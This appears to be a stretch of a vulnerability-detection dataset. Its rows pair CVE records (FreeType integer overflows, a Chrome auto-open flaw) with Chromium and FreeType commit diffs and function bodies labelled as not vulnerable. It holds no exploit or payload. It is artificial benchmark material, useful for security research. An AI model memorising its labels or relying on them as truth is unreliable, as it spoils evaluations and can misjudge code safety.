DISALLOW_COPY_AND_ASSIGN(FileBrowserHandlerCustomBindings);\n };"}<_**next**_>{"sha": "f5e022bd18758f56df46346a5f267e5c7d561542", "filename": "chrome/renderer/extensions/file_manager_private_custom_bindings.cc", "status": "modified", "additions": 26, "deletions": 3, "changes": 29, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_manager_private_custom_bindings.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_manager_private_custom_bindings.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/file_manager_private_custom_bindings.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -7,7 +7,9 @@\n #include <string>\n \n #include \"base/logging.h\"\n+#include \"chrome/renderer/extensions/file_browser_handler_custom_bindings.h\"\n #include \"extensions/renderer/script_context.h\"\n+#include \"extensions/renderer/v8_helpers.h\"\n #include \"third_party/WebKit/public/platform/WebString.h\"\n #include \"third_party/WebKit/public/web/WebDOMFileSystem.h\"\n #include \"third_party/WebKit/public/web/WebLocalFrame.h\"\n@@ -17,10 +19,16 @@ namespace extensions {\n FileManagerPrivateCustomBindings::FileManagerPrivateCustomBindings(\n ScriptContext* context)\n : ObjectBackedNativeHandler(context) {\n+ RouteFunction(\"GetFileSystem\", \"fileManagerPrivate\",\n+ base::Bind(&FileManagerPrivateCustomBindings::GetFileSystem,\n+ base::Unretained(this)));\n RouteFunction(\n- \"GetFileSystem\",\n- base::Bind(&FileManagerPrivateCustomBindings::GetFileSystem,\n- base::Unretained(this)));\n+ \"GetExternalFileEntry\", \"fileManagerPrivate\",\n+ base::Bind(&FileManagerPrivateCustomBindings::GetExternalFileEntry,\n+ base::Unretained(this)));\n+ RouteFunction(\"GetEntryURL\", \"fileManagerPrivate\",\n+ base::Bind(&FileManagerPrivateCustomBindings::GetEntryURL,\n+ base::Unretained(this)));\n }\n \n void FileManagerPrivateCustomBindings::GetFileSystem(\n@@ -42,4 +50,19 @@ void FileManagerPrivateCustomBindings::GetFileSystem(\n .toV8Value(context()->v8_context()->Global(), args.GetIsolate()));\n }\n \n+void FileManagerPrivateCustomBindings::GetExternalFileEntry(\n+ const v8::FunctionCallbackInfo<v8::Value>& args) {\n+ FileBrowserHandlerCustomBindings::GetExternalFileEntry(args, context());\n+}\n+\n+void FileManagerPrivateCustomBindings::GetEntryURL(\n+ const v8::FunctionCallbackInfo<v8::Value>& args) {\n+ CHECK(args.Length() == 1);\n+ CHECK(args[0]->IsObject());\n+ const blink::WebURL& url =\n+ blink::WebDOMFileSystem::createFileSystemURL(args[0]);\n+ args.GetReturnValue().Set(v8_helpers::ToV8StringUnsafe(\n+ args.GetIsolate(), url.string().utf8().c_str()));\n+}\n+\n } // namespace extensions"}<_**next**_>{"sha": "b88b0f51708b90ff854867e38ceb418d48fe68ab", "filename": "chrome/renderer/extensions/file_manager_private_custom_bindings.h", "status": "modified", "additions": 3, "deletions": 1, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_manager_private_custom_bindings.h", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/file_manager_private_custom_bindings.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/file_manager_private_custom_bindings.h?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -16,9 +16,11 @@ class FileManagerPrivateCustomBindings : public ObjectBackedNativeHandler {\n public:\n explicit FileManagerPrivateCustomBindings(ScriptContext* context);\n \n+ private:\n void GetFileSystem(const v8::FunctionCallbackInfo<v8::Value>& args);\n+ void GetExternalFileEntry(const v8::FunctionCallbackInfo<v8::Value>& args);\n+ void GetEntryURL(const v8::FunctionCallbackInfo<v8::Value>& args);\n \n- private:\n DISALLOW_COPY_AND_ASSIGN(FileManagerPrivateCustomBindings);\n };\n "}<_**next**_>{"sha": "7460a9ec18783bcf28e1a2b6a282beca63356c99", "filename": "chrome/renderer/extensions/media_galleries_custom_bindings.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/media_galleries_custom_bindings.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/media_galleries_custom_bindings.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/media_galleries_custom_bindings.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -20,7 +20,7 @@ MediaGalleriesCustomBindings::MediaGalleriesCustomBindings(\n ScriptContext* context)\n : ObjectBackedNativeHandler(context) {\n RouteFunction(\n- \"GetMediaFileSystemObject\",\n+ \"GetMediaFileSystemObject\", \"mediaGalleries\",\n base::Bind(&MediaGalleriesCustomBindings::GetMediaFileSystemObject,\n base::Unretained(this)));\n }"}<_**next**_>{"sha": "361a7f1daa2c18c62d816c0e818689950c86578d", "filename": "chrome/renderer/extensions/notifications_native_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/notifications_native_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/notifications_native_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/notifications_native_handler.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -18,7 +18,7 @@ namespace extensions {\n NotificationsNativeHandler::NotificationsNativeHandler(ScriptContext* context)\n : ObjectBackedNativeHandler(context) {\n RouteFunction(\n- \"GetNotificationImageSizes\",\n+ \"GetNotificationImageSizes\", \"notifications\",\n base::Bind(&NotificationsNativeHandler::GetNotificationImageSizes,\n base::Unretained(this)));\n }"}<_**next**_>{"sha": "ec19aa368ef8e3dfbe2ce1a7fa54dd5b1c0931ab", "filename": "chrome/renderer/extensions/page_capture_custom_bindings.cc", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/page_capture_custom_bindings.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/extensions/page_capture_custom_bindings.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/extensions/page_capture_custom_bindings.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -16,12 +16,12 @@ namespace extensions {\n \n PageCaptureCustomBindings::PageCaptureCustomBindings(ScriptContext* context)\n : ObjectBackedNativeHandler(context) {\n- RouteFunction(\"CreateBlob\",\n- base::Bind(&PageCaptureCustomBindings::CreateBlob,\n- base::Unretained(this)));\n- RouteFunction(\"SendResponseAck\",\n- base::Bind(&PageCaptureCustomBindings::SendResponseAck,\n- base::Unretained(this)));\n+ RouteFunction(\"CreateBlob\", \"pageCapture\",\n+ base::Bind(&PageCaptureCustomBindings::CreateBlob,\n+ base::Unretained(this)));\n+ RouteFunction(\"SendResponseAck\", \"pageCapture\",\n+ base::Bind(&PageCaptureCustomBindings::SendResponseAck,\n+ base::Unretained(this)));\n }\n \n void PageCaptureCustomBindings::CreateBlob("}<_**next**_>{"sha": "488999bdd14cdf3dc3502ebcf06c577530815ddc", "filename": "chrome/renderer/resources/extensions/file_manager_private_custom_bindings.js", "status": "modified", "additions": 23, "deletions": 24, "changes": 47, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/resources/extensions/file_manager_private_custom_bindings.js", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/chrome/renderer/resources/extensions/file_manager_private_custom_bindings.js", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/resources/extensions/file_manager_private_custom_bindings.js?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -10,15 +10,14 @@ var eventBindings = require('event_bindings');\n \n // Natives\n var fileManagerPrivateNatives = requireNative('file_manager_private');\n-var fileBrowserHandlerNatives = requireNative('file_browser_handler');\n \n // Internals\n var fileManagerPrivateInternal =\n require('binding').Binding.create('fileManagerPrivateInternal').generate();\n \n // Shorthands\n var GetFileSystem = fileManagerPrivateNatives.GetFileSystem;\n-var GetExternalFileEntry = fileBrowserHandlerNatives.GetExternalFileEntry;\n+var GetExternalFileEntry = fileManagerPrivateNatives.GetExternalFileEntry;\n \n binding.registerCustomHook(function(bindingsAPI) {\n var apiFunctions = bindingsAPI.apiFunctions;\n@@ -59,7 +58,7 @@ binding.registerCustomHook(function(bindingsAPI) {\n apiFunctions.setHandleRequest('resolveIsolatedEntries',\n function(entries, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.resolveIsolatedEntries(urls, function(\n entryDescriptions) {\n@@ -72,128 +71,128 @@ binding.registerCustomHook(function(bindingsAPI) {\n apiFunctions.setHandleRequest('getEntryProperties',\n function(entries, names, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.getEntryProperties(urls, names, callback);\n });\n \n apiFunctions.setHandleRequest('addFileWatch', function(entry, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.addFileWatch(url, callback);\n });\n \n apiFunctions.setHandleRequest('removeFileWatch', function(entry, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.removeFileWatch(url, callback);\n });\n \n apiFunctions.setHandleRequest('getCustomActions', function(\n entries, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.getCustomActions(urls, callback);\n });\n \n apiFunctions.setHandleRequest('executeCustomAction', function(\n entries, actionId, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.executeCustomAction(urls, actionId, callback);\n });\n \n apiFunctions.setHandleRequest('computeChecksum', function(entry, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.computeChecksum(url, callback);\n });\n \n apiFunctions.setHandleRequest('getMimeType', function(entry, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.getMimeType(url, callback);\n });\n \n apiFunctions.setHandleRequest('pinDriveFile', function(entry, pin, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.pinDriveFile(url, pin, callback);\n });\n \n apiFunctions.setHandleRequest('executeTask',\n function(taskId, entries, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.executeTask(taskId, urls, callback);\n });\n \n apiFunctions.setHandleRequest('setDefaultTask',\n function(taskId, entries, mimeTypes, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.setDefaultTask(\n taskId, urls, mimeTypes, callback);\n });\n \n apiFunctions.setHandleRequest('getFileTasks', function(entries, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.getFileTasks(urls, callback);\n });\n \n apiFunctions.setHandleRequest('getShareUrl', function(entry, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.getShareUrl(url, callback);\n });\n \n apiFunctions.setHandleRequest('getDownloadUrl', function(entry, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.getDownloadUrl(url, callback);\n });\n \n apiFunctions.setHandleRequest('requestDriveShare', function(\n entry, shareType, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.requestDriveShare(url, shareType, callback);\n });\n \n apiFunctions.setHandleRequest('setEntryTag', function(\n entry, visibility, key, value, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.setEntryTag(\n url, visibility, key, value, callback);\n });\n \n apiFunctions.setHandleRequest('cancelFileTransfers', function(\n entries, callback) {\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.cancelFileTransfers(urls, callback);\n });\n \n apiFunctions.setHandleRequest('startCopy', function(\n entry, parentEntry, newName, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n- var parentUrl = fileBrowserHandlerNatives.GetEntryURL(parentEntry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n+ var parentUrl = fileManagerPrivateNatives.GetEntryURL(parentEntry);\n fileManagerPrivateInternal.startCopy(\n url, parentUrl, newName, callback);\n });\n \n apiFunctions.setHandleRequest('zipSelection', function(\n parentEntry, entries, destName, callback) {\n- var parentUrl = fileBrowserHandlerNatives.GetEntryURL(parentEntry);\n+ var parentUrl = fileManagerPrivateNatives.GetEntryURL(parentEntry);\n var urls = entries.map(function(entry) {\n- return fileBrowserHandlerNatives.GetEntryURL(entry);\n+ return fileManagerPrivateNatives.GetEntryURL(entry);\n });\n fileManagerPrivateInternal.zipSelection(\n parentUrl, urls, destName, callback);\n });\n \n apiFunctions.setHandleRequest('validatePathNameLength', function(\n entry, name, callback) {\n- var url = fileBrowserHandlerNatives.GetEntryURL(entry);\n+ var url = fileManagerPrivateNatives.GetEntryURL(entry);\n fileManagerPrivateInternal.validatePathNameLength(url, name, callback);\n });\n });"}<_**next**_>{"sha": "3ddf62222f39fc64ad355486db9fed6f9a15c602", "filename": "extensions/renderer/object_backed_native_handler.cc", "status": "modified", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/extensions/renderer/object_backed_native_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/extensions/renderer/object_backed_native_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/extensions/renderer/object_backed_native_handler.cc?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -9,6 +9,7 @@\n #include \"base/logging.h\"\n #include \"base/memory/linked_ptr.h\"\n #include \"content/public/child/worker_thread.h\"\n+#include \"extensions/common/extension_api.h\"\n #include \"extensions/renderer/console.h\"\n #include \"extensions/renderer/module_system.h\"\n #include \"extensions/renderer/script_context.h\"\n@@ -102,6 +103,9 @@ void ObjectBackedNativeHandler::RouteFunction(\n v8::Local<v8::Object> data = v8::Object::New(isolate);\n SetPrivate(data, kHandlerFunction,\n v8::External::New(isolate, new HandlerFunction(handler_function)));\n+ DCHECK(feature_name.empty() ||\n+ ExtensionAPI::GetSharedInstance()->GetFeatureDependency(feature_name))\n+ << feature_name;\n SetPrivate(data, kFeatureName,\n v8_helpers::ToV8StringUnsafe(isolate, feature_name));\n v8::Local<v8::FunctionTemplate> function_template ="}<_**next**_>{"sha": "8e804c3af459bd15c092d0c52797dd8bf78323b9", "filename": "extensions/renderer/object_backed_native_handler.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/14ff9d0cded8ae8032ef027d1f33c6666a695019/extensions/renderer/object_backed_native_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/14ff9d0cded8ae8032ef027d1f33c6666a695019/extensions/renderer/object_backed_native_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/extensions/renderer/object_backed_native_handler.h?ref=14ff9d0cded8ae8032ef027d1f33c6666a695019", "patch": "@@ -43,6 +43,11 @@ class ObjectBackedNativeHandler : public NativeHandler {\n // Routed functions are destroyed along with the destruction of this class,\n // and are never called back into, therefore it's safe for |handler_function|\n // to bind to base::Unretained.\n+ //\n+ // |feature_name| corresponds to the api feature the native handler is used\n+ // for. If the associated ScriptContext does not have access to that feature,\n+ // the |handler_function| is not invoked.\n+ // TODO(devlin): Deprecate the version that doesn't take a |feature_name|.\n void RouteFunction(const std::string& name,\n const HandlerFunction& handler_function);\n void RouteFunction(const std::string& name,"}
|
void Remove() {
if (!removed_) {
removed_ = true;
content::RenderThread::Get()->RemoveFilter(this);
}
}
|
void Remove() {
if (!removed_) {
removed_ = true;
content::RenderThread::Get()->RemoveFilter(this);
}
}
|
C
| null | null | null |
@@ -418,10 +418,10 @@ AutomationInternalCustomBindings::AutomationInternalCustomBindings(
// It's safe to use base::Unretained(this) here because these bindings
// will only be called on a valid AutomationInternalCustomBindings instance
// and none of the functions have any side effects.
- #define ROUTE_FUNCTION(FN) \
- RouteFunction(#FN, \
+#define ROUTE_FUNCTION(FN) \
+ RouteFunction(#FN, "automation", \
base::Bind(&AutomationInternalCustomBindings::FN, \
- base::Unretained(this)))
+ base::Unretained(this)))
ROUTE_FUNCTION(IsInteractPermitted);
ROUTE_FUNCTION(GetSchemaAdditions);
ROUTE_FUNCTION(GetRoutingID);
|
Chrome
|
14ff9d0cded8ae8032ef027d1f33c6666a695019
|
d81c1ced74e63e4bf50019ffd2d398def71bdae7
| 0
|
void Remove() {
if (!removed_) {
removed_ = true;
content::RenderThread::Get()->RemoveFilter(this);
}
}
|
4,218
| null |
Remote
|
Not required
|
Complete
|
CVE-2009-0946
|
https://www.cvedetails.com/cve/CVE-2009-0946/
|
CWE-189
|
Low
|
Complete
|
Complete
| null |
2009-04-16
| 10
|
Multiple integer overflows in FreeType 2.3.9 and earlier allow remote attackers to execute arbitrary code via vectors related to large values in certain inputs in (1) smooth/ftsmooth.c, (2) sfnt/ttcmap.c, and (3) cff/cffload.c.
|
2017-09-28
|
Exec Code Overflow
| 0
|
https://git.savannah.gnu.org/cgit/freetype/freetype2.git/commit/?id=0545ec1ca36b27cb928128870a83e5f668980bc5
|
0545ec1ca36b27cb928128870a83e5f668980bc5
| null | 0
| null | null |
cff_index_get_pointers( CFF_Index idx,
FT_Byte*** table )
{
FT_Error error = CFF_Err_Ok;
FT_Memory memory = idx->stream->memory;
FT_ULong n, offset, old_offset;
FT_Byte** t;
*table = 0;
if ( idx->offsets == NULL )
{
error = cff_index_load_offsets( idx );
if ( error )
goto Exit;
}
if ( idx->count > 0 && !FT_NEW_ARRAY( t, idx->count + 1 ) )
{
old_offset = 1;
for ( n = 0; n <= idx->count; n++ )
{
/* at this point, `idx->offsets' can't be NULL */
offset = idx->offsets[n];
if ( !offset )
offset = old_offset;
/* two sanity checks for invalid offset tables */
else if ( offset < old_offset )
offset = old_offset;
else if ( offset - 1 >= idx->data_size && n < idx->count )
offset = old_offset;
t[n] = idx->bytes + offset - 1;
old_offset = offset;
}
*table = t;
}
Exit:
return error;
}
|
cff_index_get_pointers( CFF_Index idx,
FT_Byte*** table )
{
FT_Error error = CFF_Err_Ok;
FT_Memory memory = idx->stream->memory;
FT_ULong n, offset, old_offset;
FT_Byte** t;
*table = 0;
if ( idx->offsets == NULL )
{
error = cff_index_load_offsets( idx );
if ( error )
goto Exit;
}
if ( idx->count > 0 && !FT_NEW_ARRAY( t, idx->count + 1 ) )
{
old_offset = 1;
for ( n = 0; n <= idx->count; n++ )
{
/* at this point, `idx->offsets' can't be NULL */
offset = idx->offsets[n];
if ( !offset )
offset = old_offset;
/* two sanity checks for invalid offset tables */
else if ( offset < old_offset )
offset = old_offset;
else if ( offset - 1 >= idx->data_size && n < idx->count )
offset = old_offset;
t[n] = idx->bytes + offset - 1;
old_offset = offset;
}
*table = t;
}
Exit:
return error;
}
|
C
| null | null |
8b819254b9fa1e686eaff8f6b214dfd8eeebe8a0
|
@@ -842,7 +842,20 @@
goto Exit;
for ( j = 1; j < num_glyphs; j++ )
- charset->sids[j] = FT_GET_USHORT();
+ {
+ FT_UShort sid = FT_GET_USHORT();
+
+
+ /* this constant is given in the CFF specification */
+ if ( sid < 65000 )
+ charset->sids[j] = sid;
+ else
+ {
+ FT_ERROR(( "cff_charset_load:"
+ " invalid SID value %d set to zero\n", sid ));
+ charset->sids[j] = 0;
+ }
+ }
FT_FRAME_EXIT();
}
@@ -875,6 +888,20 @@
goto Exit;
}
+ /* check whether the range contains at least one valid glyph; */
+ /* the constant is given in the CFF specification */
+ if ( glyph_sid >= 65000 ) {
+ FT_ERROR(( "cff_charset_load: invalid SID range\n" ));
+ error = CFF_Err_Invalid_File_Format;
+ goto Exit;
+ }
+
+ /* try to rescue some of the SIDs if `nleft' is too large */
+ if ( nleft > 65000 - 1 || glyph_sid >= 65000 - nleft ) {
+ FT_ERROR(( "cff_charset_load: invalid SID range trimmed\n" ));
+ nleft = 65000 - 1 - glyph_sid;
+ }
+
/* Fill in the range of sids -- `nleft + 1' glyphs. */
for ( i = 0; j < num_glyphs && i <= nleft; i++, j++, glyph_sid++ )
charset->sids[j] = glyph_sid;
|
savannah
|
https://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/src/cff/cffload.c?id=0545ec1ca36b27cb928128870a83e5f668980bc5
|
https://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/src/cff/cffload.c?id=8b819254b9fa1e686eaff8f6b214dfd8eeebe8a0
| 0
|
cff_index_get_pointers( CFF_Index idx,
FT_Byte*** table )
{
FT_Error error = CFF_Err_Ok;
FT_Memory memory = idx->stream->memory;
FT_ULong n, offset, old_offset;
FT_Byte** t;
*table = 0;
if ( idx->offsets == NULL )
{
error = cff_index_load_offsets( idx );
if ( error )
goto Exit;
}
if ( idx->count > 0 && !FT_NEW_ARRAY( t, idx->count + 1 ) )
{
old_offset = 1;
for ( n = 0; n <= idx->count; n++ )
{
/* at this point, `idx->offsets' can't be NULL */
offset = idx->offsets[n];
if ( !offset )
offset = old_offset;
/* two sanity checks for invalid offset tables */
else if ( offset < old_offset )
offset = old_offset;
else if ( offset - 1 >= idx->data_size && n < idx->count )
offset = old_offset;
t[n] = idx->bytes + offset - 1;
old_offset = offset;
}
*table = t;
}
Exit:
return error;
}
|
121,694
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2013-06
| null | 0
|
https://github.com/chromium/chromium/commit/d57ecffa058b2af3b0678c43dce75f731550bbce
|
d57ecffa058b2af3b0678c43dce75f731550bbce
|
drive: Stop calling OnChangeListLoadComplete() if DirectoryFetchInfo is not empty
Call LoadAfterLoadDirectory() instead.
BUG=333164
TEST=unit_tests
Review URL: https://codereview.chromium.org/132503004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@244406 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
chrome/browser/chromeos/drive/change_list_loader.cc
|
{"sha": "48253ac2471bf89107376eb06824a608d4bf3914", "filename": "chrome/browser/chromeos/drive/change_list_loader.cc", "status": "modified", "additions": 16, "deletions": 12, "changes": 28, "blob_url": "https://github.com/chromium/chromium/blob/d57ecffa058b2af3b0678c43dce75f731550bbce/chrome/browser/chromeos/drive/change_list_loader.cc", "raw_url": "https://github.com/chromium/chromium/raw/d57ecffa058b2af3b0678c43dce75f731550bbce/chrome/browser/chromeos/drive/change_list_loader.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/chromeos/drive/change_list_loader.cc?ref=d57ecffa058b2af3b0678c43dce75f731550bbce", "patch": "@@ -574,26 +574,30 @@ void ChangeListLoader::LoadAfterGetAboutResource(\n \n FileError error = GDataToFileError(status);\n if (error != FILE_ERROR_OK) {\n- OnChangeListLoadComplete(error);\n+ if (directory_fetch_info.empty() || is_initial_load)\n+ OnChangeListLoadComplete(error);\n+ else\n+ OnDirectoryLoadComplete(directory_fetch_info, error);\n return;\n }\n \n DCHECK(about_resource);\n \n int64 remote_changestamp = about_resource->largest_change_id();\n- if (local_changestamp >= remote_changestamp) {\n- if (local_changestamp > remote_changestamp) {\n- LOG(WARNING) << \"Local resource metadata is fresher than server, local = \"\n- << local_changestamp << \", server = \" << remote_changestamp;\n- }\n-\n- // No changes detected, tell the client that the loading was successful.\n- OnChangeListLoadComplete(FILE_ERROR_OK);\n- return;\n- }\n-\n int64 start_changestamp = local_changestamp > 0 ? local_changestamp + 1 : 0;\n if (directory_fetch_info.empty()) {\n+ if (local_changestamp >= remote_changestamp) {\n+ if (local_changestamp > remote_changestamp) {\n+ LOG(WARNING) << \"Local resource metadata is fresher than server, \"\n+ << \"local = \" << local_changestamp\n+ << \", server = \" << remote_changestamp;\n+ }\n+\n+ // No changes detected, tell the client that the loading was successful.\n+ OnChangeListLoadComplete(FILE_ERROR_OK);\n+ return;\n+ }\n+\n // If the caller is not interested in a particular directory, just start\n // loading the change list.\n LoadChangeListFromServer(start_changestamp);"}
|
virtual ~DeltaFeedFetcher() {
}
|
virtual ~DeltaFeedFetcher() {
}
|
C
| null | null | null |
@@ -574,26 +574,30 @@ void ChangeListLoader::LoadAfterGetAboutResource(
FileError error = GDataToFileError(status);
if (error != FILE_ERROR_OK) {
- OnChangeListLoadComplete(error);
+ if (directory_fetch_info.empty() || is_initial_load)
+ OnChangeListLoadComplete(error);
+ else
+ OnDirectoryLoadComplete(directory_fetch_info, error);
return;
}
DCHECK(about_resource);
int64 remote_changestamp = about_resource->largest_change_id();
- if (local_changestamp >= remote_changestamp) {
- if (local_changestamp > remote_changestamp) {
- LOG(WARNING) << "Local resource metadata is fresher than server, local = "
- << local_changestamp << ", server = " << remote_changestamp;
- }
-
- // No changes detected, tell the client that the loading was successful.
- OnChangeListLoadComplete(FILE_ERROR_OK);
- return;
- }
-
int64 start_changestamp = local_changestamp > 0 ? local_changestamp + 1 : 0;
if (directory_fetch_info.empty()) {
+ if (local_changestamp >= remote_changestamp) {
+ if (local_changestamp > remote_changestamp) {
+ LOG(WARNING) << "Local resource metadata is fresher than server, "
+ << "local = " << local_changestamp
+ << ", server = " << remote_changestamp;
+ }
+
+ // No changes detected, tell the client that the loading was successful.
+ OnChangeListLoadComplete(FILE_ERROR_OK);
+ return;
+ }
+
// If the caller is not interested in a particular directory, just start
// loading the change list.
LoadChangeListFromServer(start_changestamp);
|
Chrome
|
d57ecffa058b2af3b0678c43dce75f731550bbce
|
70c908cadedbf286a352085620e6ed33883af539
| 0
|
virtual ~DeltaFeedFetcher() {
}
|
138,139
| null |
Remote
|
Not required
|
Partial
|
CVE-2015-1274
|
https://www.cvedetails.com/cve/CVE-2015-1274/
|
CWE-254
|
Medium
|
Partial
|
Partial
| null |
2015-07-22
| 6.8
|
Google Chrome before 44.0.2403.89 does not ensure that the auto-open list omits all dangerous file types, which makes it easier for remote attackers to execute arbitrary code by providing a crafted file and leveraging a user's previous *Always open files of this type* choice, related to download_commands.cc and download_prefs.cc.
|
2018-10-30
|
Exec Code
| 0
|
https://github.com/chromium/chromium/commit/d27468a832d5316884bd02f459cbf493697fd7e1
|
d27468a832d5316884bd02f459cbf493697fd7e1
|
Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
| 0
|
third_party/WebKit/Source/modules/accessibility/AXObject.cpp
|
{"sha": "b7b9d3ad4a5cdff0f72bf31370c16bddf7da6615", "filename": "third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp", "raw_url": "https://github.com/chromium/chromium/raw/d27468a832d5316884bd02f459cbf493697fd7e1/third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/modules/accessibility/AXARIAGridCell.cpp?ref=d27468a832d5316884bd02f459cbf493697fd7e1", "patch": "@@ -47,12 +47,12 @@ AXARIAGridCell* AXARIAGridCell::create(LayoutObject* layoutObject,\n \n bool AXARIAGridCell::isAriaColumnHeader() const {\n const AtomicString& role = getAttribute(HTMLNames::roleAttr);\n- return equalIgnoringCase(role, \"columnheader\");\n+ return equalIgnoringASCIICase(role, \"columnheader\");\n }\n \n bool AXARIAGridCell::isAriaRowHeader() const 